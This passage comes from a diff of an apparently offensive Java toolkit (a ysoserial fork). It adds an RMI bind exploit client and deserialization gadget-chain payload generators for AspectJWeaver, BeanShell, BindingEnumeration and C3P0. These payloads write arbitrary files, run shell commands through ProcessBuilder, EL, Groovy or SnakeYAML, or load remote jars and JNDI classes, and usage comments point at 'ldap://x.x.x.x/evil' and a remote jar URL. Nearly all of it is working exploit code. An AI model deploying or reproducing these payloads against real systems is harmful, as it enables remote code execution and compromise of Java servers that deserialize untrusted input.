||||
* @author su18
|
||||
*/
|
||||
public class RMIBindExploit {
|
||||
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
|
||||
if (args.length < 4) {
|
||||
System.err.println(JRMPClient.class.getName() + " <host> <registryPort> <command> <serviceName>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
String host = args[0];
|
||||
int registryPort = Integer.parseInt(args[1]);
|
||||
String command = args[2];
|
||||
String serviceName = args[3];
|
||||
|
||||
Registry registry = LocateRegistry.getRegistry(host, registryPort);
|
||||
System.out.println(Arrays.toString(registry.list()));
|
||||
|
||||
Subject subject = new Subject();
|
||||
|
||||
Set set = new HashSet();
|
||||
set.add(new UnixPrincipal(command));
|
||||
Reflections.setFieldValue(subject, "principals", set);
|
||||
|
||||
|
||||
RMIClient r = new RMIClient();
|
||||
r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
|
||||
r.ip = host;
|
||||
|
||||
|
||||
System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject));
|
||||
}
|
||||
|
||||
static class RMIClient extends RemoteObject {
|
||||
|
||||
private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
|
||||
|
||||
private RemoteRef ref = null;
|
||||
|
||||
private String ip = null;
|
||||
|
||||
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
|
||||
try {
|
||||
StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L);
|
||||
|
||||
try {
|
||||
ObjectOutput var3 = var2.getOutputStream();
|
||||
var3.writeObject(var1);
|
||||
} catch (IOException var15) {
|
||||
throw new MarshalException("error marshalling arguments", var15);
|
||||
}
|
||||
|
||||
this.ref.invoke(var2);
|
||||
|
||||
Remote var20;
|
||||
try {
|
||||
ObjectInput var4 = var2.getInputStream();
|
||||
var20 = (Remote) var4.readObject();
|
||||
|
||||
Field f = var2.getClass().getDeclaredField("in");
|
||||
f.setAccessible(true);
|
||||
Object conn = f.get(var2);
|
||||
|
||||
f = conn.getClass().getDeclaredField("incomingRefTable");
|
||||
f.setAccessible(true);
|
||||
|
||||
HashMap rets = (HashMap) f.get(conn);
|
||||
|
||||
Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next();
|
||||
|
||||
f = entry.getKey().getClass().getDeclaredField("host");
|
||||
f.setAccessible(true);
|
||||
f.set(entry.getKey(), this.ip);
|
||||
} catch (Exception var13) {
|
||||
// var2.discardPendingRefs();
|
||||
throw new UnmarshalException("error unmarshalling return", var13);
|
||||
} finally {
|
||||
this.ref.done(var2);
|
||||
}
|
||||
|
||||
return var20;
|
||||
} catch (RuntimeException var16) {
|
||||
throw var16;
|
||||
} catch (RemoteException var17) {
|
||||
throw var17;
|
||||
} catch (NotBoundException var18) {
|
||||
throw var18;
|
||||
} catch (Exception var19) {
|
||||
throw new UnexpectedException("undeclared checked exception", var19);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* HashSet.readObject()
|
||||
* HashMap.put()
|
||||
* HashMap.hash()
|
||||
* TiedMapEntry.hashCode()
|
||||
* TiedMapEntry.getValue()
|
||||
* LazyMap.get()
|
||||
* SimpleCache$StorableCachingMap.put()
|
||||
* SimpleCache$StorableCachingMap.writeToPath()
|
||||
* FileOutputStream.write()
|
||||
* <p>
|
||||
* Usage:
|
||||
* args = "<filename>;<base64 content>"
|
||||
* Example:
|
||||
* java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ=="
|
||||
* <p>
|
||||
* More information:
|
||||
* https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
||||
@Authors({Authors.JANG})
|
||||
|
||||
public class AspectJWeaver implements ObjectPayload<Serializable> {
|
||||
|
||||
public Serializable getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf(':');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
|
||||
}
|
||||
String[] parts = command.split(":");
|
||||
String filename = parts[0];
|
||||
byte[] content = Base64.decodeBase64(parts[1]);
|
||||
|
||||
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
||||
Object simpleCache = ctor.newInstance(".", 12);
|
||||
Transformer ct = new ConstantTransformer(content);
|
||||
Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
||||
HashSet map = new HashSet(1);
|
||||
map.add("QI4L");
|
||||
Field f = null;
|
||||
try {
|
||||
f = HashSet.class.getDeclaredField("map");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = HashSet.class.getDeclaredField("backingMap");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f);
|
||||
HashMap innimpl = (HashMap) f.get(map);
|
||||
|
||||
Field f2;
|
||||
try {
|
||||
f2 = HashMap.class.getDeclaredField("table");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f2 = HashMap.class.getDeclaredField("elementData");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f2);
|
||||
Object[] array = (Object[]) f2.get(innimpl);
|
||||
|
||||
Object node = array[0];
|
||||
if (node == null) {
|
||||
node = array[1];
|
||||
}
|
||||
|
||||
Field keyField;
|
||||
try {
|
||||
keyField = node.getClass().getDeclaredField("key");
|
||||
} catch (Exception e) {
|
||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(keyField);
|
||||
keyField.set(node, entry);
|
||||
|
||||
return map;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.collections.Factory;
|
||||
import org.apache.commons.collections.Transformer;
|
||||
import org.apache.commons.collections.functors.ConstantFactory;
|
||||
import org.apache.commons.collections.functors.FactoryTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.io.Serializable;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class AspectJWeaver2 implements ObjectPayload<Serializable> {
|
||||
|
||||
@Override
|
||||
public Serializable getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf(';');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <filename>;<base64 Object>");
|
||||
}
|
||||
String[] parts = command.split(";");
|
||||
String filename = parts[0];
|
||||
byte[] content = Base64.decodeBase64(parts[1]);
|
||||
|
||||
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
||||
Object simpleCache = ctor.newInstance(".", 12);
|
||||
|
||||
Factory ft = new ConstantFactory(content);
|
||||
Transformer ct = new FactoryTransformer(ft);
|
||||
|
||||
Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
|
||||
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
||||
HashSet map = new HashSet(1);
|
||||
map.add("QI4L");
|
||||
Field f = null;
|
||||
try {
|
||||
f = HashSet.class.getDeclaredField("map");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = HashSet.class.getDeclaredField("backingMap");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f);
|
||||
HashMap innimpl = (HashMap) f.get(map);
|
||||
|
||||
Field f2 = null;
|
||||
try {
|
||||
f2 = HashMap.class.getDeclaredField("table");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f2 = HashMap.class.getDeclaredField("elementData");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(f2);
|
||||
Object[] array = (Object[]) f2.get(innimpl);
|
||||
|
||||
Object node = array[0];
|
||||
if (node == null) {
|
||||
node = array[1];
|
||||
}
|
||||
|
||||
Field keyField = null;
|
||||
try {
|
||||
keyField = node.getClass().getDeclaredField("key");
|
||||
} catch (Exception e) {
|
||||
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||
}
|
||||
|
||||
Reflections.setAccessible(keyField);
|
||||
keyField.set(node, entry);
|
||||
|
||||
return map;
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import bsh.Interpreter;
|
||||
import bsh.XThis;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
|
||||
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"org.beanshell:bsh:2.0b5"})
|
||||
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
|
||||
public class BeanShell1 implements ObjectPayload<PriorityQueue> {
|
||||
|
||||
public PriorityQueue getObject(String command) throws Exception {
|
||||
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
||||
Interpreter i = new Interpreter();
|
||||
i.eval(payload);
|
||||
XThis xt = new XThis(i.getNameSpace(), i);
|
||||
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
|
||||
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
|
||||
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
|
||||
Object[] queue = {Integer.valueOf(1), Integer.valueOf(1)};
|
||||
Reflections.setFieldValue(priorityQueue, "queue", queue);
|
||||
Reflections.setFieldValue(priorityQueue, "size", Integer.valueOf(2));
|
||||
return priorityQueue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import bsh.Interpreter;
|
||||
import bsh.NameSpace;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
|
||||
|
||||
import java.lang.reflect.*;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||
*/
|
||||
|
||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||
@Dependencies({"org.beanshell:bsh:2.0b1"})
|
||||
@Authors({Authors.KILLER})
|
||||
public class BeanShell2 implements ObjectPayload<PriorityQueue> {
|
||||
|
||||
public PriorityQueue getObject(String command) throws Exception {
|
||||
String payload = BeanShellUtil.makeBeanShellPayload(command);
|
||||
Interpreter i = new Interpreter();
|
||||
|
||||
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
|
||||
setu.setAccessible(true);
|
||||
setu.invoke(i, "bsh.cwd", ".");
|
||||
i.eval(payload);
|
||||
|
||||
Class<?> xthis = Class.forName("bsh.XThis");
|
||||
Field handlerField = xthis.getDeclaredField("invocationHandler");
|
||||
handlerField.setAccessible(true);
|
||||
Constructor<?> xthisDeclaredConstructor = xthis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
|
||||
xthisDeclaredConstructor.setAccessible(true);
|
||||
Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i);
|
||||
handlerField.setAccessible(true);
|
||||
InvocationHandler handler = (InvocationHandler) handlerField.get(xt);
|
||||
|
||||
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
|
||||
PriorityQueue<Object> queue = new PriorityQueue(2);
|
||||
queue.add("1");
|
||||
queue.add("2");
|
||||
|
||||
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
|
||||
field.setAccessible(true);
|
||||
field.set(queue, comparator);
|
||||
return queue;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import java.net.URI;
|
||||
|
||||
public class BindingEnumeration implements ObjectPayload<Object>{
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
UtilFactory uf = new UtilFactory();
|
||||
URI uri = new URI(command);
|
||||
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||
return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeBindingEnumeration(args[ 0 ], args[ 1 ])));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
|
||||
import javax.naming.NamingException;
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.PrintWriter;
|
||||
import java.sql.SQLException;
|
||||
import java.sql.SQLFeatureNotSupportedException;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
/**
|
||||
* com.sun.jndi.rmi.registry.RegistryContext->lookup
|
||||
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
|
||||
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
|
||||
* <p>
|
||||
* Arguments:
|
||||
* - base_url:classname
|
||||
* <p>
|
||||
* Yields:
|
||||
* - Instantiation of remotely loaded class
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"})
|
||||
@Authors({Authors.MBECHLER})
|
||||
public class C3P0 implements ObjectPayload<Object> {
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf(':');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
|
||||
}
|
||||
|
||||
String url = command.substring(0, sep);
|
||||
String className = command.substring(sep + 1);
|
||||
|
||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String className;
|
||||
|
||||
private final String url;
|
||||
|
||||
public PoolSource(String className, String url) {
|
||||
this.className = className;
|
||||
this.url = url;
|
||||
}
|
||||
|
||||
public Reference getReference() throws NamingException {
|
||||
return new Reference("exploit", this.className, this.url);
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) throws SQLException {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() throws SQLException {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) throws SQLException {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,86 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.naming.ResourceRef;
|
||||
|
||||
import javax.naming.NamingException;
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.naming.StringRefAddr;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.PrintWriter;
|
||||
import java.sql.SQLException;
|
||||
import java.sql.SQLFeatureNotSupportedException;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue;
|
||||
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
|
||||
|
||||
/**
|
||||
* C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
|
||||
*/
|
||||
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class C3P02 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
if (command.startsWith("EX-") || command.startsWith("LF-")) {
|
||||
command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\"");
|
||||
} else {
|
||||
command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()";
|
||||
}
|
||||
|
||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String cmd;
|
||||
|
||||
public PoolSource(String cmd) {
|
||||
this.cmd = cmd;
|
||||
}
|
||||
|
||||
public Reference getReference() throws NamingException {
|
||||
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "QI4L=eval"));
|
||||
ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")"));
|
||||
return ref;
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) throws SQLException {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() throws SQLException {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) throws SQLException {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.naming.ResourceRef;
|
||||
|
||||
import javax.naming.NamingException;
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.naming.StringRefAddr;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.PrintWriter;
|
||||
import java.sql.SQLException;
|
||||
import java.sql.SQLFeatureNotSupportedException;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
/**
|
||||
* 同 C3P0 2 只不过使用了 Groovy
|
||||
*/
|
||||
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class C3P03 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String cmd;
|
||||
|
||||
public PoolSource(String cmd) {
|
||||
this.cmd = cmd;
|
||||
}
|
||||
|
||||
public Reference getReference() throws NamingException {
|
||||
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "QI4L=evaluate"));
|
||||
ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()"));
|
||||
return ref;
|
||||
}
|
||||
|
||||
public PrintWriter getLogWriter() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void setLogWriter(PrintWriter out) throws SQLException {
|
||||
}
|
||||
|
||||
public int getLoginTimeout() throws SQLException {
|
||||
return 0;
|
||||
}
|
||||
|
||||
public void setLoginTimeout(int seconds) throws SQLException {
|
||||
}
|
||||
|
||||
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection() throws SQLException {
|
||||
return null;
|
||||
}
|
||||
|
||||
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,157 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.mchange.v2.c3p0.PoolBackedDataSource;
|
||||
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.HexUtils;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.qi4l.JYso.gadgets.utils.SnakeYamlUtils;
|
||||
import org.apache.naming.ResourceRef;
|
||||
|
||||
import javax.naming.NamingException;
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.Referenceable;
|
||||
import javax.naming.StringRefAddr;
|
||||
import javax.sql.ConnectionPoolDataSource;
|
||||
import javax.sql.PooledConnection;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintWriter;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.sql.SQLException;
|
||||
import java.sql.SQLFeatureNotSupportedException;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
/**
|
||||
* 同上 只不过使用了 snakeyaml
|
||||
* 加了一些常见的 Gadget,有点套娃的感觉了
|
||||
* <p>
|
||||
* 用法:
|
||||
* 远程加载 Jar 包
|
||||
* C3P04 'remoteJar-http://1.1.1.1.com/1.jar'
|
||||
* <p>
|
||||
* 向服务器写入 Jar 包并加载(不出网)
|
||||
* C3P04 'writeJar-/tmp/evil.jar:./yaml.jar'
|
||||
* C3P04 'localJar-./yaml.jar'
|
||||
* <p>
|
||||
* C3P0 二次反序列化
|
||||
* C3P04 'c3p0Double-/usr/CC6.ser'
|
||||
* <p>
|
||||
* C3P0 JNDI 以及 JdbcRowSetImpl JNDI
|
||||
* C3P04 'c3p0Jndi-ldap://x.x.x.x/evil'
|
||||
* C3P04 'jndi-ldap://x.x.x.x/evil'
|
||||
*/
|
||||
|
||||
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"})
|
||||
@Authors({Authors.QI4L})
|
||||
public class C3P04 implements ObjectPayload<Object> {
|
||||
public Object getObject(String command) throws Exception {
|
||||
|
||||
int sep = command.lastIndexOf('-');
|
||||
if (sep < 0) {
|
||||
throw new IllegalArgumentException("Command format is: <type>:<cmd>");
|
||||
}
|
||||
|
||||
String[] parts = command.split("-");
|
||||
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
|
||||
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1]));
|
||||
return b;
|
||||
}
|
||||
|
||||
|
||||
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
|
||||
|
||||
private final String cmd;
|
||||
|
||||
private final String type;
|
||||
|
||||
public PoolSource(String type, String cmd) {
|
||||
this.type = type;
|
||||
this.cmd = cmd;
|
||||
}
|
||||
|
||||
public Reference getReference() throws NamingException {
|
||||
|
||||
String yaml = "";
|
||||
|
||||
switch (type) {
|
||||
case "remoteJar":
|
||||
yaml = "!!javax.script.ScriptEngineManager [\n" +
|
||||
" !!java.net.URLClassLoader [[\n" +
|
||||
" !!java.net.URL [\"" + cmd + "\"]\n" +
|
||||
" ]]\n" +
|
||||
"]";
|
||||
break;
|
||||
case "localJar":
|
||||
yaml = "!!javax.script.ScriptEngineManager [\n" +
|
||||
" !!java.net.URLClassLoader [[\n" +
|
||||
" !!java.net.URL [\"file://" + cmd + "\"]\n" +
|
||||
" ]]\n" +
|
||||
"]";
|
||||
break;
|
||||
case "writeJar":
|
||||
String[] parts = cmd.split(":");
|
||||
try {
|
||||
yaml = SnakeYamlUtils.createPoC(parts[0], parts[1]);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
break;
|
||||
case "c3p0Double":
|
||||
try {
|
||||
byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd)));
|
||||
String hexString = HexUtils.bytesToHexString(data, data.length);
|
||||
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
|
||||
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
break;
|
||||
case "c3p0Jndi":
|
||||
yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
|
||||
"jndiName: " + cmd + "\n" +
|
||||
"loginTimeout: 0";
|
||||
break;
|
||||
case "jndi":
|
||||
yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
|
||||
"dataSourceName: " + cmd + "\n" +
|
||||
"autoCommit: true";
|
||||
break;
|
||||
|
||||
}
|
||||
|
||||
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
|
||||
true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "QI4L=load"));
|
||||
ref.add(new StringRefAddr("QI4L", yaml));
|
||||
return ref;
|
||||
}
|
||||
|
